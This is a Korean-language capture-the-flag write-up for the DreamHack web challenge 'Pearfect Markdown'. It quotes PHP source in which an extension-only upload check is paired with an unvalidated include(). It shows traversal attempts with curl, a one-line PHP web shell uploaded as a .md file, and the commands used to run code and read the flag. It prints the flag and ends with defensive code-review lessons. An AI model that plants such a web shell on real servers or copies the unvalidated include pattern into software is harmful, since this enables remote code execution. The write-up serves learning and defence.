[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이

문제: DreamHack — Pearfect Markdown 분류: Web 난이도: 🥉 Bronze 1 FLAG: DH{9a2a75682b662e873797cd3ccdd6b22fb166d43f2dddc6e57de9a6c0effc9307}

문제 설명은 딱 두 줄이다. "실시간으로 마크다운을 수정해볼 수 있는 페이지입니다. 서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요." 파일을 올리고, 그 파일을 다시 불러와 미리보기를 해주는 페이지 — 이 조합 자체가 이미 웹 문제에서 익숙한 패턴이다. "무엇을 올릴 수 있는가"와 "올린 걸 서버가 어떻게 다시 읽는가", 이 두 지점이 서로 다른 파일에서 각각 다른 기준으로 검사되고 있었고, 그 기준이 서로 어긋나는 틈에서 취약점이 생겼다.

문제 개요

VM을 띄우면 파일 업로드 폼과 예시 마크다운 미리보기가 있는 단출한 페이지가 뜬다.

문제 파일로 deploy/ 디렉터리 전체(PHP 소스 4개 + Dockerfile + docker-compose.yml)가 함께 제공됐다. 소스가 있으니 블랙박스 삽질 없이 코드부터 읽었다.

// upload.php
$uploads_dir = 'uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $name = basename($_FILES['file']['name']);
 
    if (pathinfo($name, PATHINFO_EXTENSION) === 'md') {
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
        echo "File uploaded successfully!";
    } else {
        echo "Only .md files are allowed!";
    }
}

// post_handler.php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $file = $_GET['file'] ?? 'example.md';
    $path = $uploads_dir . $file;
    include($path);
}

index.php는 페이지가 열리자마자 fetch('post_handler.php')를 호출해서 그 결과를 marked.parse()로 렌더링한다. 즉 post_handler.php는 "지금 편집 중인 파일의 내용을 보여주는" 미리보기 엔드포인트이고, 기본값은 example.md다.

여기서 눈에 띄는 두 지점이 있었다. upload.php는 basename()으로 경로 조작은 막으면서 확장자가 md인지는 확인하지만 파일 내용은 단 한 바이트도 검사하지 않는다. 그리고 post_handler.php는 $_GET['file']을 어떤 검증도 없이 'uploads/' . $file 로 이어붙여 바로 include()에 넘긴다 — 같은 디렉터리를 다루는 edit.php, save.php는 realpath()와 strpos()로 uploads/ 바깥 접근을 확실히 막아뒀는데, 유독 post_handler.php만 그 검증이 통째로 빠져있었다.

// edit.php — 대조군: 여기는 검증이 있다
$path = realpath($uploads_dir . $file);
if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
    echo htmlspecialchars(file_get_contents($path));
}

edit.php/save.php는 파일 이름을 다룰 때 항상 이 검증을 거치는데, post_handler.php만 예외였다. 같은 프로젝트 안에서 "이 파일만 검증이 빠졌다"는 건 실수일 확률이 높고, 실제로 이 문제의 진짜 취약점이 바로 여기였다.

$ curl "$VM/post_handler.php?file=../flag"
Warning: include(uploads/../flag): failed to open stream: No such file or directory
  in /var/www/html/post_handler.php on line 9

COPY . /var/www/html/
 
RUN RANDOM_STR=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32) && \
    mv /var/www/html/flag /${RANDOM_STR}_flag

$ curl "$VM/post_handler.php?file=php://filter/convert.base64-encode/resource=../post_handler.php"
Warning: include(uploads/php://filter/convert.base64-encode/resource=../post_handler.php):
  failed to open stream: No such file or directory

💣 핵심 — 확장자 검사와 include()는 서로 다른 걸 보고 있었다

upload.php의 확장자 검사를 다시 보면, 이 검사가 막는 건 딱 하나 — 파일 이름이 .md로 끝나지 않는 경우뿐이다. 파일 안에 무슨 바이트가 들어있는지는 전혀 관심이 없다.

$ cp shell.md shell.php && curl -s -F 'file=@shell.php' $VM/upload.php
Only .md files are allowed!
$ curl -s -F 'file=@shell.md' $VM/upload.php
File uploaded successfully!

그리고 반대편의 include()는 PHP 인터프리터 입장에서 지극히 정상적으로 동작한다 — include()는 대상 파일의 확장자를 전혀 신경 쓰지 않는다. .md든 .txt든 확장자가 아예 없든, 그 파일 안에 <?php ... ?> 태그가 있으면 PHP는 그 부분을 그냥 실행한다. .php 확장자는 아파치가 "이 요청을 PHP 인터프리터로 넘길지" 판단할 때나 의미가 있을 뿐, include()로 파일을 불러오는 시점엔 아무 의미가 없다.

두 사실을 붙이면 결론은 명확하다. .md라는 이름표만 붙이면 그 안에 어떤 PHP 코드를 넣어도 업로드가 통과되고, 그 코드는 post_handler.php?file=<이름>을 호출하는 즉시 그대로 실행된다. 경로 traversal도, 스트림 래퍼도 필요 없다. 그냥 페이로드를 담은 .md 파일 하나를 올리고 그 파일명을 그대로 부르면 끝이다.

edit.php는 htmlspecialchars()로 이스케이프해서 보여주기 때문에 이 화면 자체에서는 코드가 실행되지 않는다 — 여기서 확인하려던 건 오직 "업로드한 페이로드가 손상 없이 그대로 저장되어 있는가" 하나였다. 실행은 오직 post_handler.php를 거칠 때만 일어난다.

🎯 자체 완결 solve

페이로드 파일 내용은 아주 짧다.

<?php system($_GET['cmd']); ?>

이 내용을 shell.md로 저장해서 업로드하고, post_handler.php?file=shell.md&cmd=id로 호출해봤다.

uid=33(www-data)가 그대로 찍혔다 — RCE 확정이다. 이제 남은 건 flag 파일의 실제 이름을 찾는 것뿐이다. Dockerfile에서 확인한 대로 flag는 루트 디렉터리(/)에 32자 랜덤 문자열이 붙은 이름으로 있으니, cmd=ls+/로 루트를 직접 나열했다.

qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag. 나머지는 그냥 그 파일을 읽으면 된다.

DH{9a2a75682b662e873797cd3ccdd6b22fb166d43f2dddc6e57de9a6c0effc9307}

드림핵에 제출해 "정답! 해결 처리됨"으로 확정됐고 VM 크레딧도 즉시 환급됐다.

📝 결론

이 문제는 두 파일 각각을 따로 보면 둘 다 "그럭저럭 방어를 하고 있는" 것처럼 보인다는 점에서 실무 코드 리뷰에 대한 교훈이 크다.

• 화이트리스트는 항상 "무엇을 검사하는가"까지 명시해야 한다. pathinfo($name, PATHINFO_EXTENSION) === 'md'는 파일 이름의 확장자를 검사하는 규칙이지, 파일 내용이 실제로 마크다운인지 검사하는 규칙이 아니다. 업로드 검증을 "확장자 화이트리스트"만으로 끝내면, 그 파일이 나중에 어떻게 소비되는지에 따라 언제든 우회될 수 있는 여지가 남는다.
• include()/require()에 넘기는 경로는 사용자 입력이 한 글자라도 섞이는 순간 항상 화이트리스트로 제한해야 한다. 이 프로젝트는 이미 edit.php/save.php에서 realpath() + strpos() 패턴으로 정답에 가까운 검증을 해두고 있었다 — 문제는 그 검증을 post_handler.php 단 한 곳에서 빠뜨린 것뿐이었다. 같은 프로젝트 안에 서로 다른 기준으로 같은 종류의 입력을 다루는 코드가 여러 곳 있다면, 그중 하나만 예외라도 전체 방어선이 뚫린다.
• 업로드 기능과 include/require 기능은 따로 보면 안전해 보여도 합쳐지면 RCE가 된다. 업로드 라우트를 감사할 땐 "이 파일이 나중에 어떻게 열리는가"까지, include 라우트를 감사할 땐 "이 경로에 사용자가 만든 파일이 들어올 수 있는가"까지 같이 봐야 한다. 이번 문제처럼 두 라우트가 물리적으로 다른 파일에 있으면 이 연결고리를 놓치기 더 쉽다.
• 확장자 기반 필터를 우회당하지 않으려면 업로드된 파일이 실행 가능한 위치에 저장되지 않게 하거나(웹 루트 바깥, 랜덤 파일명, 실행 권한 제거), 애초에 사용자 업로드 파일을 include/require로 직접 여는 구조 자체를 피해야 한다. 마크다운 미리보기가 진짜 목적이라면 서버 쪽에서 마크다운 파서 라이브러리로 파싱한 결과만 돌려주고, PHP가 그 파일을 코드로서 해석할 기회 자체를 원천적으로 차단하는 게 맞는 설계다.

flag 파일명을 빌드 시점에 랜덤화해둔 것 자체는 나쁘지 않은 방어였다 — 실제로 순수 path traversal 시도를 확실하게 막아냈다. 다만 그 방어는 "파일을 어디서 찾을지 모르게 하는" 종류의 방어일 뿐, 애초에 임의 코드 실행이라는 더 큰 구멍을 막아주진 못했다. ls / 한 줄이면 랜덤화는 그냥 무력화된다 — 이름을 숨기는 것과 접근 자체를 막는 것은 다른 문제다.